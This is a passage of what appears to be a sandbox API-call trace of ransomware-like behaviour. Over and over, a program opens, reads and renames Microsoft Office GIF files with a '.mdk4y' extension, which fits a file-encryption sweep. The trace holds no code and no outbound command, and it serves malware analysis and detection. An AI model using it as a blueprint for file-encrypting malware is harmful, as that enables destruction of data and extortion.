lpNumberOfBytesRead=0x37dec0*=0x1a7, lpOverlapped=0x0) returned 1 [0184.044] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825927400000) returned 1 [0184.044] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825927600000) returned 1 [0184.046] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15072_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15072_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15072_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15072_.gif.mdk4y")) returned 1 [0184.048] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.048] AreFileApisANSI () returned 1 [0184.048] GetACP () returned 0x4e4 [0184.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15073_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15073_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.048] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15073_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15073_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.049] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825927900000) returned 1 [0184.050] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x186, lpOverlapped=0x0) returned 1 [0184.050] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825928000000) returned 1 [0184.051] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825928100000) returned 1 [0184.051] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15073_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15073_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15073_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15073_.gif.mdk4y")) returned 1 [0184.052] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.052] AreFileApisANSI () returned 1 [0184.052] GetACP () returned 0x4e4 [0184.052] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15155_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15155_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.053] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15155_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15155_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.054] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825928400000) returned 1 [0184.054] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x115, lpOverlapped=0x0) returned 1 [0184.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825928500000) returned 1 [0184.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825928500000) returned 1 [0184.055] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15155_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15155_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15155_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15155_.gif.mdk4y")) returned 1 [0184.057] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.057] AreFileApisANSI () returned 1 [0184.057] GetACP () returned 0x4e4 [0184.057] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15156_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15156_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.057] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15156_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15156_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.058] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825928800000) returned 1 [0184.058] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x143, lpOverlapped=0x0) returned 1 [0184.059] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825928900000) returned 1 [0184.059] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825928900000) returned 1 [0184.059] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15156_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15156_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15156_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15156_.gif.mdk4y")) returned 1 [0184.060] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.060] AreFileApisANSI () returned 1 [0184.060] GetACP () returned 0x4e4 [0184.060] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15184_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15184_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.061] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15184_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15184_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.061] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825929100000) returned 1 [0184.061] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x482, lpOverlapped=0x0) returned 1 [0184.063] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825929300000) returned 1 [0184.063] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825929300000) returned 1 [0184.063] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15184_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15184_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15184_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15184_.gif.mdk4y")) returned 1 [0184.064] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.064] AreFileApisANSI () returned 1 [0184.064] GetACP () returned 0x4e4 [0184.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15185_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15185_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.064] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15185_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15185_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.065] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825929500000) returned 1 [0184.066] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x482, lpOverlapped=0x0) returned 1 [0184.067] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825929700000) returned 1 [0184.067] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825929700000) returned 1 [0184.068] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15185_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15185_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15185_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15185_.gif.mdk4y")) returned 1 [0184.069] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.070] AreFileApisANSI () returned 1 [0184.070] GetACP () returned 0x4e4 [0184.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15301_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15301_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.070] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15301_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.071] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825930100000) returned 1 [0184.071] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2fe, lpOverlapped=0x0) returned 1 [0184.072] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825930200000) returned 1 [0184.072] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825930200000) returned 1 [0184.073] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15301_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15301_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15301_.gif.mdk4y")) returned 1 [0184.074] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.074] AreFileApisANSI () returned 1 [0184.074] GetACP () returned 0x4e4 [0184.074] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15302_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15302_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.074] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15302_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.075] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825930500000) returned 1 [0184.075] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1ba, lpOverlapped=0x0) returned 1 [0184.076] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825930600000) returned 1 [0184.076] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825930600000) returned 1 [0184.076] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15302_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15302_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15302_.gif.mdk4y")) returned 1 [0184.077] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.077] AreFileApisANSI () returned 1 [0184.077] GetACP () returned 0x4e4 [0184.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21303_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21303_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.077] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21303_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21303_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.078] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825930800000) returned 1 [0184.078] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb04, lpOverlapped=0x0) returned 1 [0184.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825932900000) returned 1 [0184.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825932900000) returned 1 [0184.099] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21303_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21303_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21303_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21303_.gif.mdk4y")) returned 1 [0184.101] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.101] AreFileApisANSI () returned 1 [0184.101] GetACP () returned 0x4e4 [0184.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21305_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21305_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.101] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21305_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21305_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825933200000) returned 1 [0184.102] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x616, lpOverlapped=0x0) returned 1 [0184.127] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825935700000) returned 1 [0184.127] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825935700000) returned 1 [0184.128] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21305_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21305_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21305_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21305_.gif.mdk4y")) returned 1 [0184.130] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.130] AreFileApisANSI () returned 1 [0184.130] GetACP () returned 0x4e4 [0184.130] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21307_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21307_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.130] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21307_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21307_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.131] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825936100000) returned 1 [0184.131] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x328, lpOverlapped=0x0) returned 1 [0184.133] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825936300000) returned 1 [0184.133] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825936300000) returned 1 [0184.133] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21307_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21307_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21307_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21307_.gif.mdk4y")) returned 1 [0184.135] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.135] AreFileApisANSI () returned 1 [0184.135] GetACP () returned 0x4e4 [0184.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21309_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21309_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.135] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21309_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21309_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.136] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825936600000) returned 1 [0184.136] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd1d, lpOverlapped=0x0) returned 1 [0184.138] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825936800000) returned 1 [0184.138] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825936800000) returned 1 [0184.138] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21309_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21309_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21309_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21309_.gif.mdk4y")) returned 1 [0184.140] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.140] AreFileApisANSI () returned 1 [0184.140] GetACP () returned 0x4e4 [0184.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21311_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21311_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.140] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21311_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21311_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825937100000) returned 1 [0184.141] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x901, lpOverlapped=0x0) returned 1 [0184.143] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825937300000) returned 1 [0184.143] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825937300000) returned 1 [0184.143] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21311_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21311_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21311_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21311_.gif.mdk4y")) returned 1 [0184.145] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.145] AreFileApisANSI () returned 1 [0184.145] GetACP () returned 0x4e4 [0184.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21313_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21313_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.145] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21313_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21313_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.146] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825937600000) returned 1 [0184.146] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1a15, lpOverlapped=0x0) returned 1 [0184.148] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825937800000) returned 1 [0184.148] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825937800000) returned 1 [0184.149] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21313_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21313_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21313_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21313_.gif.mdk4y")) returned 1 [0184.150] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.150] AreFileApisANSI () returned 1 [0184.150] GetACP () returned 0x4e4 [0184.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21315_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21315_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.151] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21315_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21315_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.152] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825938200000) returned 1 [0184.152] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x148, lpOverlapped=0x0) returned 1 [0184.153] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825938300000) returned 1 [0184.153] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: 